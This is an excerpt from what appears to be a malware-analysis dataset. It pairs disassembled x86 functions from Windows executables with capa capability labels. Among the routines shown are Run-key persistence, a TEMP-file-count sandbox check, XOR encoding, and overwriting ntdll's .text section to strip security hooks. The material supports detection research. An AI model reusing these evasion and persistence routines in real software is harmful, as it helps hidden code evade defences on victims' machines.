joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42ab80
Capabilities:
Create process on windows
Create process suspended
Print debug messages

Disassembly:
sub esp, 0x154
push ebx
push esi
mov esi, ecx
mov edx, dword [esi + 0x74]
lea ebx, [esi + 0x74]
mov eax, dword [edx - 8]
test eax, eax
jne 0x42aba5
pop esi
mov eax, 1
pop ebx
add esp, 0x154
ret
push ebp
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x20]
mov dword [esi + 0x98], 2
rep stosd dword es:[edi], eax
mov dword [esp + 0x20], 0x44
mov edx, dword [edx - 8]
push edx
mov ecx, ebx
call fcn.0043c306
mov edi, eax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x20]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push edi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebp, eax
push edi
test ebp, ebp
je 0x42ac05
lea edx, [esp + 0x68]
push str._minst__SUCCESS:__s_n
push edx
jmp 0x42ac0f
lea eax, [esp + 0x68]
push str._minst__ERROR:__s_n
push eax
call fcn.0042d7d0
add esp, 0xc
lea ecx, [esp + 0x64]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0xffffffffffffffff
mov ecx, ebx
call fcn.0043c355
test ebp, ebp
je 0x42ac5a
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov ecx, esi
push eax
mov dword [esi + 0x88], eax
call fcn.0042ac70
mov ecx, esi
call fcn.0042ab50
mov ecx, ebx
call fcn.0043bead
mov eax, ebp
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x154
ret
Function at 0x42ae90
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x2c
mov eax, dword [esp + 0x30]
push ebx
push ebp
xor ebx, ebx
push esi
mov ebp, 1
push edi
cmp eax, ebx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x14], 0x103
mov edi, ebp
mov dword [esp + 0x18], ebx
mov dword [esp + 0x10], ebx
jne 0x42aebe
xor edi, edi
cmp dword [esp + 0x44], ebx
je 0x42b03e
mov esi, dword [sym.imp.USER32.dll_PeekMessageA]
test edi, edi
je 0x42aefb
test eax, eax
je 0x42aefb
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [esp + 0x14], 0x103
je 0x42aefb
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x1388
mov dword [esp + 0x10], eax
push 1
push 0
push 0
lea edx, [esp + 0x2c]
push 0xffffffffffffffff
push edx
call esi
test eax, eax
je 0x42af65
mov eax, dword [esp + 0x24]
test ebp, ebp
je 0x42af35
cmp dword [esp + 0x44], eax
jne 0x42af35
mov eax, dword [esp + 0x28]
mov ebx, 1
test edi, edi
mov dword [esp + 0x18], eax
je 0x42b040
xor ebp, ebp
jmp 0x42af3c
cmp eax, 0x40b
je 0x42afb6
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 1
push 0
push 0
lea edx, [esp + 0x2c]
push 0xffffffffffffffff
push edx
call esi
test eax, eax
jne 0x42af0e
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x42af78
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
jne 0x42af8c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [esp + 0x10]
jb 0x42aefb
test edi, edi
je 0x42afa2
mov eax, dword [esp + 0x40]
test eax, eax
je 0x42afa2
cmp dword [esp + 0x14], 0x103
jne 0x42afdf
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x40]
jmp 0x42aece
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x28]
push eax
mov eax, dword [edx + 0x2c]
push ecx
push 0x40b
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2c
ret 8
test ebx, ebx
je 0x42aff1
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret 8
mov ecx, dword [esp + 0x1c]
mov eax, dword [ecx + 0x70]
dec eax
je 0x42b024
dec eax
jne 0x42b03e
mov eax, dword [ecx + 0x6c]
test eax, eax
je 0x42b03e
mov ecx, dword [eax + 0x2c]
push 0
push 0
push 0x40d
push ecx
call dword [sym.imp.USER32.dll_PostThreadMessageA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2c
ret 8
mov eax, dword [ecx + 0x68]
test eax, eax
je 0x42b03e
mov edx, dword [eax + 0x1c]
push 0
push 0
push 0x40d
push edx
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret 8
Function at 0x42b0b0
Capabilities:
Resume thread
Suspend thread

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov ecx, dword [esi + 0x74]
mov eax, dword [ecx - 8]
test eax, eax
je 0x42b0ef
mov eax, dword [esi + 0x98]
dec eax
je 0x42b0d5
dec eax
jne 0x42b0ef
jmp 0x42b0e4
mov eax, dword [esi + 0x8c]
test eax, eax
jle 0x42b0ef
cmp eax, 5
jg 0x42b0ef
push 0
push ecx
call fcn.0042b2c0
add esp, 8
mov ecx, dword [esi + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [esi + 0x2c]
push 0
push 1
push 0x40b
push edx
mov dword [esi + 0x94], 1
call dword [sym.imp.USER32.dll_PostThreadMessageA]
mov eax, dword [esp + 8]
test eax, eax
je 0x42b12a
mov eax, dword [esi + 0x28]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
pop esi
ret 4

Function at 0x42b1c0
Capabilities:
Enumerate gui resources

Disassembly:
sub esp, 8
mov eax, dword [esp + 0xc]
lea ecx, [esp]
push ecx
push 0x42b200
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call dword [sym.imp.USER32.dll_EnumWindows]
mov ecx, dword [esp + 4]
neg eax
sbb eax, eax
and eax, ecx
add esp, 8
ret 4
Function at 0x42b2c0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x447048
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x48
mov eax, dword [0x453250]
push ebx
push esi
push edi
mov dword [esp + 0xc], eax
xor ebx, ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0x5c], ebx
mov dword [esp + 0x14], eax
mov ecx, 0xc
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
lea edi, [esp + 0x20]
mov eax, dword [esp + 0x64]
rep movsd dword es:[edi], dword [esi]
cmp eax, ebx
mov byte [esp + 0x5c], 2
movsw word es:[edi], word [esi]
je 0x42b371
lea ecx, [esp + 0x18]
lea edx, [esp + 0x10]
push ecx
push edx
push eax
call fcn.0042b430
add esp, 0xc
test eax, eax
je 0x42b371
mov eax, dword [esp + 0x68]
lea ecx, [esp + 0xc]
cmp eax, ebx
jne 0x42b344
push 0x258
call fcn.0043c49e
test eax, eax
jne 0x42b34a
jmp 0x42b371
push eax
call fcn.0043c05f
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x64]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
lea edx, [esp + 0x38]
push ebx
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x42b3b1
lea ecx, [esp + 0x14]
mov byte [esp + 0x5c], 1
call fcn.0043bf22
lea ecx, [esp + 0x10]
mov byte [esp + 0x5c], bl
call fcn.0043bf22
lea ecx, [esp + 0xc]
mov dword [esp + 0x5c], 0xffffffff
call fcn.0043bf22
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
add esp, 0x54
ret
mov eax, dword [esp + 0x10]
mov esi, 1
mov ecx, dword [eax - 8]
inc ecx
push ecx
mov ecx, dword [esp + 0x68]
push eax
mov eax, dword [esp + 0x14]
push esi
push ebx
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x42b3d8
xor esi, esi
mov edx, dword [esp + 0x64]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x14]
mov byte [esp + 0x5c], 1
call fcn.0043bf22
lea ecx, [esp + 0x10]
mov byte [esp + 0x5c], bl
call fcn.0043bf22
lea ecx, [esp + 0xc]
mov dword [esp + 0x5c], 0xffffffff
call fcn.0043bf22
mov ecx, dword [esp + 0x54]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x54
ret
Function at 0x42b430
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x447078
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov eax, dword [0x453250]
push ebp
push esi
push edi
mov dword [esp + 0x10], eax
xor ebp, ebp
mov dword [esp + 0x14], eax
mov dword [esp + 0x28], ebp
mov dword [esp + 0xc], eax
mov cl, byte [0x4526f4]
mov edi, dword [esp + 0x30]
mov eax, dword [str.__s_]
mov byte [esp + 0x1c], cl
cmp edi, ebp
mov byte [esp + 0x28], 2
mov dword [esp + 0x18], eax
lea ecx, [esp + 0xc]
jne 0x42b4c3
mov byte [esp + 0x28], 1
call fcn.0043bf22
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 0
call fcn.0043bf22
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], 0xffffffff
call fcn.0043bf22
pop edi
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
add esp, 0x20
ret
push ebx
mov esi, edi
call fcn.0043bead
mov al, byte [edi]
test al, al
je 0x42b505
mov ebx, dword [sym.imp.USER32.dll_CharNextA]
cmp al, 0x22
jne 0x42b4e6
xor edx, edx
test ebp, ebp
sete dl
mov ebp, edx
jmp 0x42b4ee
cmp al, 0x20
jne 0x42b4ee
test ebp, ebp
je 0x42b4fb
push esi
call ebx
mov esi, eax
mov al, byte [esi]
test al, al
jne 0x42b4d7
jmp 0x42b505
push esi
lea ecx, [esp + 0x14]
call fcn.0043c05f
sub esi, edi
lea ecx, [esp + 0x14]
push esi
call fcn.0043c306
inc esi
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
or edi, 0xffffffff
lea ecx, [esp + 0x14]
push edi
call fcn.0043c355
lea eax, [esp + 0x14]
push 0x22
push eax
call fcn.0042b610
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x20]
push 0
push ecx
push edx
call fcn.0042b6f0
add esp, 0x14
test eax, eax
pop ebx
jne 0x42b58a
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 1
call fcn.0043bf22
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 0
call fcn.0043bf22
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], edi
call fcn.0043bf22
pop edi
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
add esp, 0x20
ret
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x34]
lea ecx, [esp + 0x18]
push eax
push ecx
push esi
call fcn.0043aebf
mov edx, dword [esi]
mov ecx, dword [esp + 0x44]
add esp, 0xc
mov eax, dword [edx - 8]
mov edx, dword [esp + 0xc]
mov dword [ecx], eax
mov eax, dword [edx - 8]
test eax, eax
je 0x42b5c3
lea eax, [esp + 0xc]
mov ecx, esi
push eax
call fcn.0043c2ee
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 1
call fcn.0043bf22
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 0
call fcn.0043bf22
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], edi
call fcn.0043bf22
mov ecx, dword [esp + 0x20]
pop edi
pop esi
mov eax, 1
pop ebp
mov dword fs:[0], ecx
add esp, 0x20
ret
Function at 0x43388e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x455ef0
cmp edx, dword [eax]
je 0x4338b0
add eax, 8
inc ecx
cmp eax, 0x455f80
jl 0x4338a1
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x455ef0]
jne 0x4339de
mov eax, dword [0x458b28]
cmp eax, 1
je 0x4339b8
test eax, eax
jne 0x4338e1
cmp dword [0x45379c], 1
je 0x4339b8
cmp edx, 0xfc
je 0x4339de
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x433918
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004339f0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0042ecf0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x43395b
lea eax, [ebp - 0x1a4]
push eax
call fcn.0042ecf0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x44b264
push edi
call fcn.00434560
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004339f0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00433a00
lea eax, [ebp - 0xa0]
push 0x44b244
push eax
call fcn.00433a00
push dword [esi + 0x455ef4]
lea eax, [ebp - 0xa0]
push eax
call fcn.00433a00
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0043535b
add esp, 0x2c
pop edi
jmp 0x4339de
lea eax, [ebp + 8]
lea esi, [esi + 0x455ef4]
push 0
push eax
push dword [esi]
call fcn.0042ecf0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x439ed0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0042d040
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x439f9b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x439f9b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x439f4e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x439f59
or bh, 8
and edi, 0x8000000
je 0x439f74
mov eax, dword [0x45a2bc]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x439f9b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43a370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x43a39b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x43a3bf
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x43a3da
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x4787e0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], 0
jmp 0x478805
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp + 0xc]
jae 0x478878
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 8]
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
shr eax, 8
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
jmp 0x47883a
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 8
jge 0x47886d
mov edx, dword [ebp - 0x10]
and edx, 1
neg edx
sbb edx, edx
neg edx
mov byte [ebp - 0x15], dl
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
movzx ecx, byte [ebp - 0x15]
test ecx, ecx
je 0x47886b
mov edx, dword [ebp - 0x10]
xor edx, 0xedb88320
mov dword [ebp - 0x10], edx
jmp 0x478831
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x4787fc
mov eax, dword [ebp - 8]
not eax
mov esp, ebp
pop ebp
ret

Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret
Function at 0x4011e0
Capabilities:
Enumerate files on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40f328
mov eax, dword fs:[0]
push eax
sub esp, 0x178
mov eax, dword [0x414024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], 0
push 0x1000
call fcn.0040446e
add esp, 4
mov dword [ebp - 0x3c], eax
push 0x1000
mov eax, dword [ebp - 0x3c]
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00402470
mov dword [ebp - 4], 0
push 0x412280
lea ecx, [ebp - 0x2c]
call fcn.004025a0
lea ecx, [ebp - 0x2c]
call fcn.004025c0
mov dword [ebp - 0x38], eax
lea edx, [ebp - 0x17c]
push edx
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0xffffffff
je 0x4012b2
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
lea edx, [ebp - 0x17c]
push edx
mov eax, dword [ebp - 0x180]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401284
mov ecx, dword [ebp - 0x180]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp - 0x30]
push edx
push str.count:_d_n
call fcn.00404502
add esp, 8
cmp dword [ebp - 0x30], 0xa
jge 0x4012d2
push 1
call fcn.00404406
jmp 0x4012f3
mov dword [ebp - 0x184], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.00402580
mov eax, dword [ebp - 0x184]
jmp 0x401302
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.00402580
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004036d1
mov esp, ebp
pop ebp
ret
Function at 0x401320
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
push 0x38
push 0
lea eax, [ebp - 0x38]
push eax
call fcn.00403fa0
add esp, 0xc
push 0x3c
push 0
lea ecx, [ebp - 0x3c]
push ecx
call fcn.00403fa0
add esp, 0xc
mov edx, dword [ebp + 0x24]
push edx
push 0
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403fa0
add esp, 0xc
mov ecx, dword [ebp + 0x24]
push ecx
push 0
mov edx, dword [ebp + 0x10]
push edx
call fcn.00403fa0
add esp, 0xc
mov eax, dword [ebp + 0x24]
push eax
push 0
mov ecx, dword [ebp + 0x14]
push ecx
call fcn.00403fa0
add esp, 0xc
mov edx, dword [ebp + 0x24]
push edx
push 0
mov eax, dword [ebp + 0x18]
push eax
call fcn.00403fa0
add esp, 0xc
mov ecx, dword [ebp + 0x24]
push ecx
push 0
mov edx, dword [ebp + 0x1c]
push edx
call fcn.00403fa0
add esp, 0xc
mov eax, dword [ebp + 0x24]
push eax
push 0
mov ecx, dword [ebp + 0x20]
push ecx
call fcn.00403fa0
add esp, 0xc
mov dword [ebp - 0x3c], 0x3c
mov edx, dword [ebp + 0x24]
sub edx, 1
mov dword [ebp - 0x34], edx
mov eax, dword [ebp + 0x24]
sub eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp + 0x24]
sub ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp + 0x24]
sub edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp + 0x24]
sub eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0x24]
sub ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp + 0x18]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 0x20]
mov dword [ebp - 8], ecx
lea edx, [ebp - 0x3c]
push edx
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x401441
mov eax, dword [ebp - 0x40]
jmp 0x401444
mov eax, dword [ebp - 0x40]
mov esp, ebp
pop ebp
ret
Function at 0x401900
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Overwrite dll .text section to remove hooks
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 4], eax
push 0xc
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 4]
push edx
push 0xffffffffffffffff
call dword [sym.imp.PSAPI.DLL_GetModuleInformation]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x18], eax
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push str.c:windows_system32_ntdll.dll
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 0x1000002
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 4
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0xc], edx
xor eax, eax
mov word [ebp - 0x2c], ax
jmp 0x4019a9
mov cx, word [ebp - 0x2c]
add cx, 1
mov word [ebp - 0x2c], cx
movzx edx, word [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
movzx ecx, word [eax + 6]
cmp edx, ecx
jge 0x401a56
mov edx, dword [ebp - 0xc]
movzx eax, word [edx + 0x14]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax + 0x18]
movzx eax, word [ebp - 0x2c]
imul eax, eax, 0x28
add edx, eax
mov dword [ebp - 0x30], edx
push str..text
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.004040f0
add esp, 8
test eax, eax
jne 0x401a51
mov dword [ebp - 0x34], 0
lea edx, [ebp - 0x34]
push edx
push 0x40
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
add eax, dword [edx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
add eax, dword [edx + 0xc]
push eax
call fcn.00403830
add esp, 0xc
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
add eax, dword [edx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x40199d
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov esp, ebp
pop ebp
ret